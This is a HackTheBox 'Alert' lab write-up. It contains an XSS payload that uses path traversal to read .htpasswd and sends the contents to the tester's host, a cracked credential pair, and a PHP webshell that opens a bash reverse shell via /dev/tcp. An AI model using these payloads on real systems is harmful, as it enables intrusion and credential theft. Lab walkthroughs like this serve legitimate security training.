HackTheBox - Alert Machine Writeup

This is my first time to play this machine, So i hope i can find the flag and gain the root privilege <3

Target

  • 10.10.11.44

First, we need use nmap scan this machine, command

1
nmap -sS -T4 -sV 10.10.11.44 -O -A -v -p-

image-20241129145913989

Subsequently, it can be observed that ports 80 and 22 have been opened, and not filtered, btw If you haven’t added the alert.htb domain, you need to add the following in hosts file

1
2
# vim /etc/hosts
alert.htb [Machine IP Address]

Accessing this web page, we will find that it is a file upload page

image-20241129150357006

use dirsearch to scan the web directory

1
python3 dirsearch.py -u http://alert.htb

image-20241129151558628

At the same time, use BurpSuite to fuzzing this web page, touch a new Markfile, and started a http.server

1
2
3
4
5
6
7
<script> 
fetch("http://alert.htb/messages.php?file=filepath")
.then(response => response.text())
.then(data => {
fetch("http://10.10.16.20/?file_content=" + encodeURIComponent(data));
});
</script>

and we can use path traversal to read. htapass files

1
2
3
4
5
6
7
<script> 
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.16.20/?file_content=" + encodeURIComponent(data));
});
</script>

image-20241129155724546

Afterwards, we will receive the .htpasswd content

1
2
<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
</pre>

use john to crack it!

1
john - wordlist=/usr/share/wordlists/rockyou.txt - format=md5crypt-long "albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ"

image-20241129160044591

Now we have obtained the apr1 password

1
2
albert
manchesterunited

find first flag!

image-20241129160204119

Check the subnet

image-20241129160245514

create a new webshell file

1
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.16.20/12345 0>&1'"); ?>

and forwarding the 8080 port

1
2
ssh -L 8080:127.0.0.1:8080 -vl albert alert.htb
manchesterunited

image-20241129161249626

give the root flag!

image-20241129161720062

Support via Solana

Solana

Solana

Solana Pay

Solana Pay

WeChat

WeChat